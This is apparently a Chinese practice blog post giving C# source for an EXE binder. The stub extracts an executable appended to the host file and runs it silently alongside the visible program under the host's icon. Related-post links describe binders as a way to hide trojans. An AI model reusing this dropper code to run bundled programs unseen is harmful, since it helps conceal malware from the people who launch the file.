C# 版 EXE捆绑器

本人练习写的,参照网上其它资料.

主要功能

1. 将两个EXE文件合并.

2. 合并后的程序显示宿主程序的图标

3. 合并后的程序执行时,同时执行宿主程序与捆绑的程序.

用C#制作的捆绑器,不能和C写的捆绑机相比,不可能用这样的方法来把XXXXX程序捆绑,毕竟运行这样的程序还要.net framework 支持. 只为练手

源代码下载

就贴一下 合并后文件的代码吧.

合并后文件,主要是分离执行.

public ClassHost()
        {
            //从自己
            string exePath=Path.GetDirectoryName(Application.ExecutablePath);

//临时文件准备
            string sourcetempFile=Path.Combine(exePath,"tempFile.data");
            if (File.Exists(sourcetempFile))
            {
                File.Delete(sourcetempFile);
            }
            File.Copy(Application.ExecutablePath, sourcetempFile);
            //sourcetempFile = Path.Combine(exePath, "notepad.exe");
            FileStream fileSource = new FileStream(sourcetempFile, FileMode.Open);
            fileSource.Position = fileSource.Length;

string bandingFile = Path.Combine(exePath, "bandingFile.exe");
            GetFileFromStream(fileSource, bandingFile);

string customerHostFile=Path.Combine(exePath,"customerHostFile.exe");
            GetFileFromStream(fileSource, customerHostFile);

fileSource.Close();

//启动两个程序
            StartProcess(customerHostFile);
            StartProcess(bandingFile);
            File.Delete(sourcetempFile);
        }

private void GetFileFromStream(FileStream fileSource,string fileName)
        {
            FileStream targetFile = new FileStream(fileName, FileMode.Create);

byte[] buffer=new byte[8];
            fileSource.Seek(-8, SeekOrigin.Current);
            fileSource.Read(buffer, 0, 8);
            long fileLength = BitConverter.ToInt64(buffer, 0);

buffer = new byte[1024];
            fileSource.Seek(-1*(fileLength + 8), SeekOrigin.Current);
            int count = Convert.ToInt32(fileLength / buffer.Length);
            int mode = Convert.ToInt32(fileLength % buffer.Length);
            for (int i = 0; i < count; i++)
            {
                fileSource.Read(buffer, 0, buffer.Length);
                targetFile.Write(buffer, 0, buffer.Length);
            }
            if (mode !=0)
            {
                fileSource.Read(buffer, 0, mode);
                targetFile.Write(buffer, 0, mode);
            }
          
            targetFile.Flush();
            targetFile.Close();
            fileSource.Seek(-1*fileLength, SeekOrigin.Current);
        }

private void StartProcess(string fileName)
        {
            if (File.Exists(fileName))
            {
                System.Diagnostics.Process.Start(fileName);
            }
        }

C# 版 EXE捆绑器相关推荐

  1. Android 下 APK 捆绑器的实现

    Android 下 APK 捆绑器的实现                    作者: 海东青 利用捆绑器向正常程序捆绑病毒.木马等恶意程序,以达到隐蔽安装.运行的目的,这 在 Windows 平台下 ...

  2. 木马捆绑器设计思路和源码

    木马捆绑是把一个有界面的正常程序,和一个后门程序捆绑在一起从而制作一个木马. 木马捆绑器一般是三个程序和在一起,程序1:正常程序,程序2:后门程序,程序3: 一个加载.这个加载器的作用就是包容.释放. ...

  3. Javascript模块加载捆绑器Browserify Webpack和SystemJS用法

    Javascript模块加载捆绑器Browserify Webpack和SystemJS用法 转自 http://www.jdon.com/idea/js/javascript-module-load ...

  4. 文件捆绑器的原理(转)

    一.传统的捆绑器 这种原理很简单,也是目前用的最多的一种.就是将B.exe附加到A.exe的末尾.这样当 A.exe被执行的时候,B.exe也跟着执行了.这种捆绑器的代码是满网都是.我最早是从jing ...

  5. 菜鸟对付最流行的几种捆绑器

    最近不知怎么搞的.一夜就冒出N个捆绑机.害得我等菜鸟苦不堪言.今天就各种捆绑器的 原理和检测方法做个简单的总结,以帮助各位识别带毒程序. 一.传统的捆绑器.这种原理很简单,也是目前用的最多的一种.就是 ...

  6. 编程工具练习,刚写了一个文件捆绑器

    目前功能还比较简单 binBot 0.1 文件捆绑器 2007.6.5 下载 捆绑两个 exe 文件,一个我们称之为宿主文件 A, 一个我们称之为附件文件 B. 生成的新文件称之为 C. 捆绑生成的新 ...

  7. .exe已停止工作_这几天我遇到了前所未有的问题windows10 1809 explorer.exe资源管理器频繁崩溃...

    这几天 我遇到了前所未有的问题 windows10 1809 explorer.exe资源管理器频繁崩溃? 这系统这玩意儿 你越折腾他 他越容易出毛病 本想着Windows10 1703用到win10 ...

  8. win7右键计算机管理参数错误,win7纯净版虚拟磁盘管理器参数错误怎么解决?

    最近有用户反映win7纯净版虚拟磁盘管理器参数错误,他是硬盘分区太多,很乱,所以想要自己设置盘符名称,但没想到在修改盘符时出现提示"硬盘参数错误",导致修改盘符失败,这让用户非常苦 ...

  9. colorpix取色小工具_Python版的取色器

    大家好,好久没有更新,希望不要把我忘了啊,前几天工作中遇到一个小困难,我想去取一个图片某个区域的色值需要用一下,但是真的不知用什么工具,然后把图片发给同事,用他电脑上的PS查看了一下,感觉工作中没有一 ...

  10. c语言编译器uwp版,Win10技巧:注册UWP版文件资源管理器

    Win10 RS2预览版中已经加入了UWP版文件资源管理器,只不过现在的版本还是早期形态,功能比较有限.微软本来也没想现在就让这款应用抛头露面,但对于广大粉丝来说,揪出这个潜伏在系统中的"可 ...

最新文章

  1. python编程到底难不难_养成下面几个编程习惯,学习python并不难!
  2. 网站静态文件缓存的处理
  3. VS 远程调试 Azure Web App
  4. Google 公司的 Java 语言编写规范
  5. 【小白学习PyTorch教程】十四、迁移学习:微调ResNet实现男人和女人图像分类
  6. 对MySQL 进行深入学习是非常必要的
  7. WebLogic Classloader分析工具
  8. VC++6.0怎么打开工程
  9. opencv 图像 抠图 算法_图像抠图算法学习 - Shared Sampling for Real-Time Alpha Matting
  10. paypal创建订单后怎么获得id_5步创建Facebook商店(最新版教程)学习如何在Facebook上卖货...
  11. 指令重排序所带来的问题及使用volatile关键字解决问题
  12. 12-----存储过程
  13. Spark常用算子讲解二
  14. GoldenGate 1403错误解决方法
  15. IntelliJ IDEA 设置主题背景
  16. WinCC数据报表控件
  17. Rundll32.exe使用方法大全
  18. openssl rand
  19. 计算机类博士多少年,弗吉尼亚大学博士几年?
  20. 计算机中guest用户是灰的,来宾帐户状态不适用呈灰色状

热门文章

  1. MySQL之B+树详解
  2. 洛谷 P1251 餐巾计划问题 题解
  3. python 实现多元线性回归
  4. python pil_Python PIL composite()用法及代码示例
  5. 押对春节档《流浪地球》 阿里影业的专业进击之路
  6. 最新封装版EVE模拟器部署和使用说明(图文版)
  7. Infoq专访:Maven中文用户组创始人许晓斌
  8. 刷题总结——寻宝游戏(bzoj3991 dfs序)
  9. 香港云服务器网站备案,中国香港云服务器网站备案
  10. Python初学者(零基础学习Python入门)书籍、视频、资料分享